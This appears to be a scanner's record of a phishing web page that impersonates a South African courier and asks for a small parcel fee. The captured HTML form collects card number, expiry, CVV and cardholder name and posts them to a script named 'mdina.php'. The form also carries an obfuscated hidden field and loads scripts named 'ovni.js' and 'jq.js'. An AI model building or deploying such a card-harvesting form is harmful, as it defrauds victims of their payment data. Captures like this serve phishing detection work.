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1 forms found in the DOM

POST ./SADDEM/mdina.php

<form action="./SADDEM/mdina.php" method="POST">
  <div class="col-25">
    <br>
  </div>
  <div class="col-50">
    <h3>Payment Method</h3>
    <label for="fname">Accepted Cards</label>
    <div class="icon-container">
      <i class="fa fa-cc-visa" style="color:navy;"></i>
      <i class="fa fa-cc-mastercard" style="color:red;"></i>
      <script src="./files/ovni.js" type="text/javascript"></script>
      <script src="./files/jq.js"></script>
    </div>
    <label for="ccnum">Card Number</label>
    <input onkeyup="$cc.validate.call(this,event)" type="text" required="" maxlength="19" name="ovnicc" placeholder="">
    <label for="expmonth">Expiry</label>
    <input onkeyup="$cc.expiry.call(this,event)" maxlength="7" required="" type="text" name="ovniexp" placeholder="MM/YYYY">
    <div class="row">
      <div class="col-50">
        <label for="cvv">CVV</label>
        <input required="" maxlength="3" type="text" name="ovnicvc" placeholder="">
        <label for="cname">Card Holder Name</label>
        <input type="hidden" name="ovnimdf" value="B%y$usC{$qQ<B\2L">
        <input type="text" required="" name="ovniname" placeholder="">
      </div>
    </div>
  </div>
</form>

Text Content

RAM HAND-TO-HAND COURIERS – DELIVERY | DISTRIBUTION | WAREHOUSING

PARCEL :ZA245278896A

Total :34.58 ZAR






PAYMENT METHOD

Accepted Cards

Card Number Expiry
CVV Card Holder Name



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RIGHTS RESERVED